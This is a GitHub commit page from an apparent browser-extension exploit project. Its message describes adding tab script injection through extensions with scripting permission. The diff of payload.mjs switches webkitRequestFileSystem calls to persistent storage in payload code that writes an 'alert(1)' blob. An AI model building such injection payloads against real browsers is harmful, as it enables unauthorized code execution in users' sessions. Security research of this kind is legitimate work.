Skip to content

Commit

Permalink
added tab script injection for extensions with scripting permission a…
Browse files Browse the repository at this point in the history
…nd restructured payloads/index.js

payload.mjs was also updated to use PERSISTENT instead of TEMPORARY
  • Loading branch information
Miner49ur committed Sep 7, 2024
1 parent fa549cb commit dd8b835
Show file tree
Hide file tree
Showing 2 changed files with 479 additions and 611 deletions.
4 changes: 2 additions & 2 deletions payload.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@
// w.setTimeout(function() {
const blob_url = new Blob(["alert(1)"], { type: "text/html" });

w.webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, async function (fs) {
w.webkitRequestFileSystem(PERSISTENT, 2 * 1024 * 1024, async function (fs) {
function removeFile(file) {
return new Promise(function (resolve, reject) {
fs.root.getFile(file, { create: true }, function (entry) {
Expand Down Expand Up @@ -118,7 +118,7 @@
async function createAndWriteFile() {
function writeFile(filename, content) {
return new Promise((resolve) => {
webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, function (fs) {
webkitRequestFileSystem(PERSISTENT, 2 * 1024 * 1024, function (fs) {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(filename, { create: true }, function (entry) {
Expand Down
Loading

0 comments on commit dd8b835

Please sign in to comment.